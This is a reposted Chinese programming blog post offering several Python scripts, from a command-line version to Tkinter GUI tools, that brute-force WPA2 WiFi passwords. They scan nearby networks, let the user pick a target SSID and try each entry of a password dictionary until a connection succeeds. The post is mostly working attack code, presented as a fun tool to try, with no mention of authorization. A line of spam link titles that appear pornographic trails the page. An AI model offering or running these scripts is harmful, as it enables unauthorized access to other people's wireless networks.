<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          玩了一把破解 WiFi 密碼的腳本,太刺激了...

          共 15808字,需瀏覽 32分鐘

           ·

          2022-12-14 12:01

          ???? 關(guān)注后回復(fù)?“進(jìn)群”?,拉你進(jìn)程序員交流群 ????

          原文:blog.csdn.net/weixin_39190897/article/details/11977847


          轉(zhuǎn)載自公眾號(hào)【民工哥技術(shù)之路

          大家好,我是鳥哥。一個(gè)半路出家的程序員。

          昨天服務(wù)器群的一個(gè)好友分享的一篇文章,關(guān)于破解WiFi密碼的腳本。據(jù)他說已經(jīng)掛了一年的時(shí)間了,用的非常爽。今天順便分享給大家,我自己還沒有來的及試,感興趣的可以玩玩,順便留言區(qū)交流一下心得。


          無圖形界面

          先來看看沒有圖形界面版的爆破腳本。

          WIFI爆破

                import?pywifi
          from?pywifi?import?const
          import?time
          import?datetime

          #?測試連接,返回鏈接結(jié)果
          def?wifiConnect(pwd):
          ????#?抓取網(wǎng)卡接口
          ????wifi?=?pywifi.PyWiFi()
          ????#?獲取第一個(gè)無線網(wǎng)卡
          ????ifaces?=?wifi.interfaces()[0]
          ????#?斷開所有連接
          ????ifaces.disconnect()
          ????time.sleep(1)
          ????wifistatus?=?ifaces.status()
          ????if?wifistatus?==?const.IFACE_DISCONNECTED:
          ????????#?創(chuàng)建WiFi連接文件
          ????????profile?=?pywifi.Profile()
          ????????#?要連接WiFi的名稱
          ????????profile.ssid?=?"Tr0e"
          ????????#?網(wǎng)卡的開放狀態(tài)
          ????????profile.auth?=?const.AUTH_ALG_OPEN
          ????????#?wifi加密算法,一般wifi加密算法為wps
          ????????profile.akm.append(const.AKM_TYPE_WPA2PSK)
          ????????#?加密單元
          ????????profile.cipher?=?const.CIPHER_TYPE_CCMP
          ????????#?調(diào)用密碼
          ????????profile.key?=?pwd
          ????????#?刪除所有連接過的wifi文件
          ????????ifaces.remove_all_network_profiles()
          ????????#?設(shè)定新的連接文件
          ????????tep_profile?=?ifaces.add_network_profile(profile)
          ????????ifaces.connect(tep_profile)
          ????????#?wifi連接時(shí)間
          ????????time.sleep(2)
          ????????if?ifaces.status()?==?const.IFACE_CONNECTED:
          ????????????return?True
          ????????else:
          ????????????return?False
          ????else:
          ????????print("已有wifi連接")

          #?讀取密碼本
          def?readPassword():
          ????success?=?False
          ????print("******************?WIFI破解?******************")
          ????#?密碼本路徑
          ????path?=?"pwd.txt"
          ????#?打開文件
          ????file?=?open(path,?"r")
          ????start?=?datetime.datetime.now()
          ????while?True:
          ????????try:
          ????????????pwd?=?file.readline()
          ????????????#?去除密碼的末尾換行符
          ????????????pwd?=?pwd.strip('\n')
          ????????????bool?=?wifiConnect(pwd)
          ????????????if?bool:
          ????????????????print("[*]?密碼已破解:",?pwd)
          ????????????????print("[*] WiFi已自動(dòng)連接!??!")
          ????????????????success?=?True
          ????????????????break
          ????????????else:
          ????????????????#?跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
          ????????????????print("正在破解 SSID 為?%s 的 WIFI密碼,當(dāng)前校驗(yàn)的密碼為:%s"%("Tr0e",pwd))
          ????????except:
          ????????????continue
          ????end?=?datetime.datetime.now()
          ????if(success):
          ????????print("[*]?本次破解WIFI密碼一共用了多長時(shí)間:{}".format(end?-?start))
          ????else:
          ????????print("[*]?很遺憾未能幫你破解出當(dāng)前指定WIFI的密碼,請更換密碼字典后重新嘗試!")
          ????exit(0)

          if?__name__=="__main__":
          ????readPassword()
          代碼運(yùn)行效果:
          2ae96248ec5ab2b3b4222c7bcf7c6e2a.webp
          腳本優(yōu)化

          以上腳本需內(nèi)嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進(jìn)行改造優(yōu)化:

                import?pywifi
          import?time
          from?pywifi?import?const

          #?WiFi掃描模塊
          def?wifi_scan():
          ????#?初始化wifi
          ????wifi?=?pywifi.PyWiFi()
          ????#?使用第一個(gè)無線網(wǎng)卡
          ????interface?=?wifi.interfaces()[0]
          ????#?開始掃描
          ????interface.scan()
          ????for?i?in?range(4):
          ????????time.sleep(1)
          ????????print('\r掃描可用 WiFi 中,請稍后。。。('?+?str(3?-?i),?end=')')
          ????print('\r掃描完成!\n'?+?'-'?*?38)
          ????print('\r{:4}{:6}{}'.format('編號(hào)',?'信號(hào)強(qiáng)度',?'wifi名'))
          ????#?掃描結(jié)果,scan_results()返回一個(gè)集,存放的是每個(gè)wifi對(duì)象
          ????bss?=?interface.scan_results()
          ????#?存放wifi名的集合
          ????wifi_name_set?=?set()
          ????for?w?in?bss:
          ????????#?解決亂碼問題
          ????????wifi_name_and_signal?=?(100?+?w.signal,?w.ssid.encode('raw_unicode_escape').decode('utf-8'))
          ????????wifi_name_set.add(wifi_name_and_signal)
          ????#?存入列表并按信號(hào)排序
          ????wifi_name_list?=?list(wifi_name_set)
          ????wifi_name_list?=?sorted(wifi_name_list,?key=lambda?a:?a[0],?reverse=True)
          ????num?=?0
          ????#?格式化輸出
          ????while?num?<?len(wifi_name_list):
          ????????print('\r{:<6d}{:<8d}{}'.format(num,?wifi_name_list[num][0],?wifi_name_list[num][1]))
          ????????num?+=?1
          ????print('-'?*?38)
          ????#?返回wifi列表
          ????return?wifi_name_list

          #?WIFI破解模塊
          def?wifi_password_crack(wifi_name):
          ????#?字典路徑
          ????wifi_dic_path?=?input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個(gè)密碼占據(jù)1行)的路徑:")
          ????with?open(wifi_dic_path,?'r')?as?f:
          ????????#?遍歷密碼
          ????????for?pwd?in?f:
          ????????????#?去除密碼的末尾換行符
          ????????????pwd?=?pwd.strip('\n')
          ????????????#?創(chuàng)建wifi對(duì)象
          ????????????wifi?=?pywifi.PyWiFi()
          ????????????#?創(chuàng)建網(wǎng)卡對(duì)象,為第一個(gè)wifi網(wǎng)卡
          ????????????interface?=?wifi.interfaces()[0]
          ????????????#?斷開所有wifi連接
          ????????????interface.disconnect()
          ????????????#?等待其斷開
          ????????????while?interface.status()?==?4:
          ????????????????#?當(dāng)其處于連接狀態(tài)時(shí),利用循環(huán)等待其斷開
          ????????????????pass
          ????????????#?創(chuàng)建連接文件(對(duì)象)
          ????????????profile?=?pywifi.Profile()
          ????????????#?wifi名稱
          ????????????profile.ssid?=?wifi_name
          ????????????#?需要認(rèn)證
          ????????????profile.auth?=?const.AUTH_ALG_OPEN
          ????????????#?wifi默認(rèn)加密算法
          ????????????profile.akm.append(const.AKM_TYPE_WPA2PSK)
          ????????????profile.cipher?=?const.CIPHER_TYPE_CCMP
          ????????????#?wifi密碼
          ????????????profile.key?=?pwd
          ????????????#?刪除所有wifi連接文件
          ????????????interface.remove_all_network_profiles()
          ????????????#?設(shè)置新的wifi連接文件
          ????????????tmp_profile?=?interface.add_network_profile(profile)
          ????????????#?開始嘗試連接
          ????????????interface.connect(tmp_profile)
          ????????????start_time?=?time.time()
          ????????????while?time.time()?-?start_time?<?1.5:
          ????????????????#?接口狀態(tài)為4代表連接成功(當(dāng)嘗試時(shí)間大于1.5秒之后則為錯(cuò)誤密碼,經(jīng)測試測正確密碼一般都在1.5秒內(nèi)連接,若要提高準(zhǔn)確性可以設(shè)置為2s或以上,相應(yīng)暴力破解速度就會(huì)變慢)
          ????????????????if?interface.status()?==?4:
          ????????????????????print(f'\r連接成功!密碼為:{pwd}')
          ????????????????????exit(0)
          ????????????????else:
          ????????????????????print(f'\r正在利用密碼?{pwd}?嘗試破解。',?end='')
          #?主函數(shù)
          def?main():
          ????#?退出標(biāo)致
          ????exit_flag?=?0
          ????#?目標(biāo)編號(hào)
          ????target_num?=?-1
          ????while?not?exit_flag:
          ????????try:
          ????????????print('WiFi萬能鑰匙'.center(35,?'-'))
          ????????????#?調(diào)用掃描模塊,返回一個(gè)排序后的wifi列表
          ????????????wifi_list?=?wifi_scan()
          ????????????#?讓用戶選擇要破解的wifi編號(hào),并對(duì)用戶輸入的編號(hào)進(jìn)行判斷和異常處理
          ????????????choose_exit_flag?=?0
          ????????????while?not?choose_exit_flag:
          ????????????????try:
          ????????????????????target_num?=?int(input('請選擇你要嘗試破解的wifi:'))
          ????????????????????#?如果要選擇的wifi編號(hào)在列表內(nèi),繼續(xù)二次判斷,否則重新輸入
          ????????????????????if?target_num?in?range(len(wifi_list)):
          ????????????????????????#?二次確認(rèn)
          ????????????????????????while?not?choose_exit_flag:
          ????????????????????????????try:
          ????????????????????????????????choose?=?str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)'))
          ????????????????????????????????#?對(duì)用戶輸入進(jìn)行小寫處理,并判斷
          ????????????????????????????????if?choose.lower()?==?'y':
          ????????????????????????????????????choose_exit_flag?=?1
          ????????????????????????????????elif?choose.lower()?==?'n':
          ????????????????????????????????????break
          ????????????????????????????????#?處理用戶其它字母輸入
          ????????????????????????????????else:
          ????????????????????????????????????print('只能輸入?Y/N?哦o(* ̄︶ ̄*)o')
          ????????????????????????????#?處理用戶非字母輸入
          ????????????????????????????except?ValueError:
          ????????????????????????????????print('只能輸入?Y/N?哦o(* ̄︶ ̄*)o')
          ????????????????????????#?退出破解
          ????????????????????????if?choose_exit_flag?==?1:
          ????????????????????????????break
          ????????????????????????else:
          ????????????????????????????print('請重新輸入哦(*^▽^*)')
          ????????????????except?ValueError:
          ????????????????????print('只能輸入數(shù)字哦o(* ̄︶ ̄*)o')
          ????????????#?密碼破解,傳入用戶選擇的wifi名稱
          ????????????wifi_password_crack(wifi_list[target_num][1])
          ????????????print('-'?*?38)
          ????????????exit_flag?=?1
          ????????except?Exception?as?e:
          ????????????print(e)
          ????????????raise?e

          if?__name__?==?'__main__':
          ????main()
          腳本運(yùn)行效果如下:
          4fd55b0df8895dbbf47b918ccb794df6.webp

          上述代碼實(shí)現(xiàn)了依據(jù)信號(hào)強(qiáng)度枚舉當(dāng)前附近的所有 WIFI 名稱,并且可供用戶自主選擇需要暴力破解的 WIFI,同時(shí)還可靈活指定暴力破解的字典,相對(duì)而言體驗(yàn)感提升了不少。進(jìn)一步也可以將上述腳本打包生成 exe 文件,雙擊運(yùn)行效果如下:

          93e491246a927a29ac37b3117d15ff37.webp

          圖形化界面

          下面基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter 優(yōu)化上述腳本,實(shí)現(xiàn)友好的可視化 WIFI 暴力破解界面工具。關(guān)于 Tkinter 庫的語法可參見:Python GUI編程(Tkinter)。

          簡單版UI
                from?tkinter?import?*
          from?pywifi?import?const
          import?pywifi
          import?time

          #?主要步驟:
          #?1、獲取第一個(gè)無線網(wǎng)卡
          #?2、斷開所有的wifi
          #?3、讀取密碼本
          #?4、設(shè)置睡眠時(shí)間
          def?wificonnect(str,?wifiname):
          ????#?窗口無線對(duì)象
          ????wifi?=?pywifi.PyWiFi()
          ????#?抓取第一個(gè)無線網(wǎng)卡
          ????ifaces?=?wifi.interfaces()[0]
          ????#?斷開所有的wifi
          ????ifaces.disconnect()
          ????time.sleep(1)
          ????if?ifaces.status()?==?const.IFACE_DISCONNECTED:
          ????????#?創(chuàng)建wifi連接文件
          ????????profile?=?pywifi.Profile()
          ????????profile.ssid?=?wifiname
          ????????#?wifi的加密算法
          ????????profile.akm.append(const.AKM_TYPE_WPA2PSK)
          ????????#?wifi的密碼
          ????????profile.key?=?str
          ????????#?網(wǎng)卡的開發(fā)
          ????????profile.auth?=?const.AUTH_ALG_OPEN
          ????????#?加密單元,這里需要寫點(diǎn)加密單元否則無法連接
          ????????profile.cipher?=?const.CIPHER_TYPE_CCMP
          ????????#?刪除所有的wifi文件
          ????????ifaces.remove_all_network_profiles()
          ????????#?設(shè)置新的連接文件
          ????????tep_profile?=?ifaces.add_network_profile(profile)
          ????????#?連接
          ????????ifaces.connect(tep_profile)
          ????????time.sleep(3)
          ????????if?ifaces.status()?==?const.IFACE_CONNECTED:
          ????????????return?True
          ????????else:
          ????????????return?False

          def?readPwd():
          ????#?獲取wiif名稱
          ????wifiname?=?entry.get().strip()
          ????path?=?r'./pwd.txt'
          ????file?=?open(path,?'r')
          ????while?True:
          ????????try:
          ????????????#?讀取
          ????????????mystr?=?file.readline().strip()
          ????????????#?測試連接
          ????????????bool?=?wificonnect(mystr,?wifiname)
          ????????????if?bool:
          ????????????????text.insert(END,?'密碼正確'?+?mystr)
          ????????????????text.see(END)
          ????????????????text.update()
          ????????????????file.close()
          ????????????????break
          ????????????else:
          ????????????????text.insert(END,?'密碼錯(cuò)誤'?+?mystr)
          ????????????????text.see(END)
          ????????????????text.update()
          ????????except:
          ????????????continue

          #?創(chuàng)建窗口
          root?=?Tk()
          root.title('wifi破解')
          root.geometry('500x400')
          #?標(biāo)簽
          label?=?Label(root,?text='輸入要破解的WIFI名稱:')
          #?定位
          label.grid()
          #?輸入控件
          entry?=?Entry(root,?font=('微軟雅黑',?14))
          entry.grid(row=0,?column=1)
          #?列表控件
          text?=?Listbox(root,?font=('微軟雅黑',?14),?width=40,?height=10)
          text.grid(row=1,?columnspan=2)
          #?按鈕
          button?=?Button(root,?text='開始破解',?width=20,?height=2,?command=readPwd)
          button.grid(row=2,?columnspan=2)
          #?顯示窗口
          root.mainloop()
          腳本運(yùn)行效果:
          a14d9cf3d5548b58b122e7985294d0ec.webp

          UI升級(jí)版

          以上圖形界面未允許選擇密碼字典,下面進(jìn)行優(yōu)化升級(jí):

                from?tkinter?import?*
          from?tkinter?import?ttk
          import?pywifi
          from?pywifi?import?const
          import?time
          import?tkinter.filedialog??#?在Gui中打開文件瀏覽
          import?tkinter.messagebox??#?打開tkiner的消息提醒框

          class?MY_GUI():
          ????def?__init__(self,?init_window_name):
          ????????self.init_window_name?=?init_window_name
          ????????#?密碼文件路徑
          ????????self.get_value?=?StringVar()??#?設(shè)置可變內(nèi)容
          ????????#?獲取破解wifi賬號(hào)
          ????????self.get_wifi_value?=?StringVar()
          ????????#?獲取wifi密碼
          ????????self.get_wifimm_value?=?StringVar()
          ????????#?抓取網(wǎng)卡接口
          ????????self.wifi?=?pywifi.PyWiFi()
          ????????#?抓取第一個(gè)無線網(wǎng)卡
          ????????self.iface?=?self.wifi.interfaces()[0]
          ????????#?測試鏈接斷開所有鏈接
          ????????self.iface.disconnect()
          ????????time.sleep(1)??#?休眠1秒
          ????????#?測試網(wǎng)卡是否屬于斷開狀態(tài)
          ????????assert?self.iface.status()?in?\
          ???????????????[const.IFACE_DISCONNECTED,?const.IFACE_INACTIVE]

          ????def?__str__(self):
          ????????#?自動(dòng)會(huì)調(diào)用的函數(shù),返回自身的網(wǎng)卡
          ????????return?'(WIFI:%s,%s)'?%?(self.wifi,?self.iface.name())
          ????#?設(shè)置窗口
          ????def?set_init_window(self):
          ????????self.init_window_name.title("WIFI破解工具")
          ????????self.init_window_name.geometry('+500+200')
          ????????labelframe?=?LabelFrame(width=400,?height=200,?text="配置")??#?框架,以下對(duì)象都是對(duì)于labelframe中添加的
          ????????labelframe.grid(column=0,?row=0,?padx=10,?pady=10)
          ????????self.search?=?Button(labelframe,?text="搜索附近WiFi",?command=self.scans_wifi_list).grid(column=0,?row=0)
          ????????self.pojie?=?Button(labelframe,?text="開始破解",?command=self.readPassWord).grid(column=1,?row=0)
          ????????self.label?=?Label(labelframe,?text="目錄路徑:").grid(column=0,?row=1)
          ????????self.path?=?Entry(labelframe,?width=12,?textvariable=self.get_value).grid(column=1,?row=1)
          ????????self.file?=?Button(labelframe,?text="添加密碼文件目錄",?command=self.add_mm_file).grid(column=2,?row=1)
          ????????self.wifi_text?=?Label(labelframe,?text="WiFi賬號(hào):").grid(column=0,?row=2)
          ????????self.wifi_input?=?Entry(labelframe,?width=12,?textvariable=self.get_wifi_value).grid(column=1,?row=2)
          ????????self.wifi_mm_text?=?Label(labelframe,?text="WiFi密碼:").grid(column=2,?row=2)
          ????????self.wifi_mm_input?=?Entry(labelframe,?width=10,?textvariable=self.get_wifimm_value).grid(column=3,?row=2,sticky=W)
          ????????self.wifi_labelframe?=?LabelFrame(text="wifi列表")
          ????????self.wifi_labelframe.grid(column=0,?row=3,?columnspan=4,?sticky=NSEW)
          ????????#?定義樹形結(jié)構(gòu)與滾動(dòng)條
          ????????self.wifi_tree?=?ttk.Treeview(self.wifi_labelframe,?show="headings",?columns=("a",?"b",?"c",?"d"))
          ????????self.vbar?=?ttk.Scrollbar(self.wifi_labelframe,?orient=VERTICAL,?command=self.wifi_tree.yview)
          ????????self.wifi_tree.configure(yscrollcommand=self.vbar.set)
          ????????#?表格的標(biāo)題
          ????????self.wifi_tree.column("a",?width=50,?anchor="center")
          ????????self.wifi_tree.column("b",?width=100,?anchor="center")
          ????????self.wifi_tree.column("c",?width=100,?anchor="center")
          ????????self.wifi_tree.column("d",?width=100,?anchor="center")
          ????????self.wifi_tree.heading("a",?text="WiFiID")
          ????????self.wifi_tree.heading("b",?text="SSID")
          ????????self.wifi_tree.heading("c",?text="BSSID")
          ????????self.wifi_tree.heading("d",?text="signal")
          ????????self.wifi_tree.grid(row=4,?column=0,?sticky=NSEW)
          ????????self.wifi_tree.bind("<Double-1>",?self.onDBClick)
          ????????self.vbar.grid(row=4,?column=1,?sticky=NS)

          ????#?搜索wifi
          ????def?scans_wifi_list(self):??#?掃描周圍wifi列表
          ????????#?開始掃描
          ????????print("^_^?開始掃描附近wifi...")
          ????????self.iface.scan()
          ????????time.sleep(15)
          ????????#?在若干秒后獲取掃描結(jié)果
          ????????scanres?=?self.iface.scan_results()
          ????????#?統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量
          ????????nums?=?len(scanres)
          ????????print("數(shù)量:?%s"?%?(nums))
          ????????#?實(shí)際數(shù)據(jù)
          ????????self.show_scans_wifi_list(scanres)
          ????????return?scanres
          ????#?顯示wifi列表
          ????def?show_scans_wifi_list(self,?scans_res):
          ????????for?index,?wifi_info?in?enumerate(scans_res):
          ????????????self.wifi_tree.insert("",?'end',?values=(index?+?1,?wifi_info.ssid,?wifi_info.bssid,?wifi_info.signal))

          ????#?添加密碼文件目錄
          ????def?add_mm_file(self):
          ????????self.filename?=?tkinter.filedialog.askopenfilename()
          ????????self.get_value.set(self.filename)

          ????#?Treeview綁定事件
          ????def?onDBClick(self,?event):
          ????????self.sels?=?event.widget.selection()
          ????????self.get_wifi_value.set(self.wifi_tree.item(self.sels,?"values")[1])
          ????#?讀取密碼字典,進(jìn)行匹配
          ????def?readPassWord(self):
          ????????self.getFilePath?=?self.get_value.get()
          ????????self.get_wifissid?=?self.get_wifi_value.get()
          ????????pwdfilehander?=?open(self.getFilePath,?"r",?errors="ignore")
          ????????while?True:
          ????????????try:
          ????????????????self.pwdStr?=?pwdfilehander.readline()
          ????????????????if?not?self.pwdStr:
          ????????????????????break
          ????????????????self.bool1?=?self.connect(self.pwdStr,?self.get_wifissid)
          ????????????????if?self.bool1:
          ????????????????????self.res?=?"[*]?密碼正確!wifi名:%s,匹配密碼:%s "?%?(self.get_wifissid,?self.pwdStr)
          ????????????????????self.get_wifimm_value.set(self.pwdStr)
          ????????????????????tkinter.messagebox.showinfo('提示',?'破解成功?。?!')
          ????????????????????print(self.res)
          ????????????????????break
          ????????????????else:
          ????????????????????self.res?=?"[*]?密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s"?%?(self.get_wifissid,?self.pwdStr)
          ????????????????????print(self.res)
          ????????????????time.sleep(3)
          ????????????except:
          ????????????????continue

          ????#?對(duì)wifi和密碼進(jìn)行匹配
          ????def?connect(self,?pwd_Str,?wifi_ssid):
          ????????#?創(chuàng)建wifi鏈接文件
          ????????self.profile?=?pywifi.Profile()
          ????????self.profile.ssid?=?wifi_ssid??#?wifi名稱
          ????????self.profile.auth?=?const.AUTH_ALG_OPEN??#?網(wǎng)卡的開放
          ????????self.profile.akm.append(const.AKM_TYPE_WPA2PSK)??#?wifi加密算法
          ????????self.profile.cipher?=?const.CIPHER_TYPE_CCMP??#?加密單元
          ????????self.profile.key?=?pwd_Str??#?密碼
          ????????self.iface.remove_all_network_profiles()??#?刪除所有的wifi文件
          ????????self.tmp_profile?=?self.iface.add_network_profile(self.profile)??#?設(shè)定新的鏈接文件
          ????????self.iface.connect(self.tmp_profile)??#?鏈接
          ????????time.sleep(5)
          ????????if?self.iface.status()?==?const.IFACE_CONNECTED:??#?判斷是否連接上
          ????????????isOK?=?True
          ????????else:
          ????????????isOK?=?False
          ????????self.iface.disconnect()??#?斷開
          ????????time.sleep(1)
          ????????#?檢查斷開狀態(tài)
          ????????assert?self.iface.status()?in?\
          ???????????????[const.IFACE_DISCONNECTED,?const.IFACE_INACTIVE]
          ????????return?isOK


          def?gui_start():
          ????init_window?=?Tk()
          ????ui?=?MY_GUI(init_window)
          ????print(ui)
          ????ui.set_init_window()
          ????init_window.mainloop()

          if?__name__?==?"__main__":
          ????gui_start()
          腳本運(yùn)行效果如下:
          808a4d2ee199b1a2e85ff1a92d921d6a.webp

          以上基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter,實(shí)際上 Python 的 GUI 編程可以借助 PyQt5 來自動(dòng)生成 UI 代碼。

          總結(jié)

          本文學(xué)習(xí)了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎(chǔ)使用。

          所演示的代碼的不足在于均沒有使用多線程進(jìn)行 WIFI 連接測試,實(shí)際上因?yàn)?WIFI 連接測試需要一定的耗時(shí)(3-5秒),故使用多線程將能減少暴力破解過程的等待時(shí)間。

          -End-

          最近有一些小伙伴,讓我?guī)兔φ乙恍?面試題?資料,于是我翻遍了收藏的 5T 資料后,匯總整理出來,可以說是程序員面試必備!所有資料都整理到網(wǎng)盤了,歡迎下載!

          082dfa5969ab5fe1061231e359b2b039.webp

          點(diǎn)擊??卡片,關(guān)注后回復(fù)【面試題】即可獲取

          在看點(diǎn)這里 4ad6925ca8bd2057c14ade649b7ee7c6.webp好文分享給更多人↓↓

          瀏覽 105
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  天堂AV-区二区 | 日日夜夜精品视品 | 97乱伦视频| 囯产精品久久久久久久久搜平片 | 天天爽天天干 |